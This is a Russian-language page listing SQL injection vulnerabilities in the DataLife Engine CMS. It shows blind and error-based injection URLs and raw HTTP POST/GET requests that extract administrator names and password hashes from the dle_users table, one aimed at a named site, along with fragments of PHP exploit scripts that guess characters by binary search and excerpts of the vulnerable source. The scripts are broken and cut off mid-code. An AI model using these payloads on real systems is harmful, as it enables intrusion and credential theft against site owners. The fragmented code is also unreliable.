Уязвимости DataLife Engine

http://www.site.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,[b](select%201%20from%20dle_downloads))+--+

";   flush();   $index++;    return true;  } else return false;} function CheckSQL ($host, $path, $st){   global $end;    $line="";    $fo = fsockopen($host, 80, $errno, $errstr, 30);    if(!$fo){die ("no connect");}    else     {        $headers="GET ".$path.$st.$end." HTTP/1.1rn";       $headers.="Host: ".$host."rn";       $headers.="Connection: Closernrn";           global $good;       global $bad;        fwrite($fo, $headers);        while (!feof($fo))        {            $line = fgets($fo, 512);            if (strpos($line,$good))             {             fclose($fo);             return true;            }            if (strpos($line,$bad))            {             fclose($fo);             return false;            }        }        fclose($fo);    }    return false;}if (CheckSQL($host, $path, $index.",1))+between+1+and+255"))  echo (" Идет подбор символов...
"); else  die("Ошибка"); for ($i=0;$i");   $max = $num;  } else  {  echo ("Больше $num 
");    $min = $num;  }   flush(); } else $ok = false; } }echo $result;?>

if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != "") $galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];if ( isset($_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != "") $galConfig['news_msort'] = $gal_cat[$category_id]['news_msort']; if ($galConfig['user_cats_limit']) $sear = "(" . PREFIX . "_gal_cat.cat_status = '0' OR " . PREFIX . "_gal_cat.cat_status = '2') AND " . PREFIX . "_gal_pic.approve='1'"; else $sear = "" . PREFIX . "_gal_cat.cat_status = '0' AND " . PREFIX . "_gal_pic.approve='1'"; $result = $db->query("SELECT " . PREFIX . "_gal_pic.*, " . PREFIX . "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " . PREFIX . "_gal_pic LEFT JOIN " . PREFIX . "_gal_cat ON " . PREFIX . "_gal_pic.pic_cat_id=" . PREFIX . "_gal_cat.cat_id WHERE " . PREFIX . "_gal_cat.cat_alt_name='$category' AND $sear AND " . PREFIX . "_gal_cat.cat_view_level regexp '[[:<:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart, $lim");

POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1Host: www.simfilife.netUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127Keep-Alive: 300Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 133news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC

{$max}-1"))  {    $result .=chr($max);  } else  {   if(post_sql($host, $path, $body.$index.",1))={$max}-1"))    $result .=chr($max-1); else $result .=chr($min);    }  }   echo substr($result,strlen($result)-1)."
";   flush();   $index++;    return true;  } else return false;} $bool = true;while ($bool==true){ if (post_sql($host, $path, $body.$index.",1))>0"))  {  echo ("Символ есть, идет подбор...
");  flush();  $ok = true; } else  { echo ("Символы кончились 
");  $ok = false;  $bool = false;  echo $result; } $min = 31; $max = 123; while ($ok == true) {  $num = GetMiddle($min,$max);  if (!check($min,$max))  {  if (post_sql($host, $path, $body.$index.",1))");   $max = $num;  } else  {   echo ("Больше $num 
");    $min = $num;  }   flush(); } else $ok = false; } } ?>

$story = explode("/", urldecode($_REQUEST['name']));$story = reset($story);if($confmt['urlcode'] == "translit") {$sql = $db->super_query("SELECT original FROM " . PREFIX . "_tags_replace WHERE repl = '{$story}'");

POST /dle/ HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127  MRA 5.5 (build 02842);Keep-Alive: 300Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 195do=tag&name=%2527 union select count(*) from (select 1 union select 2 union select 3)x group by concat(mid((SELECT concat(name,0x3a,password) FROM dle_users LIMIT 0,1),1,64),floor(rand(0)*2)) --

if ($_SERVER['HTTP_X_FORWARDED_FOR']) $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];...// Проверяем, учтен ли уже посетитель$res = $db->query("SELECT `last` from `".PREFIX."_online` WHERE `ip` = '".$ip."'");

GET / HTTP/1.1Host: site.comX_FORWARDED_FOR: ' union select count(*) from (select 1 union select 2 union select 3)x group by concat(mid((SELECT concat(name,0x3a,password) FROM dle_users where user_group=1  LIMIT 0,1),1,64),floor(rand(0)*2)) -- .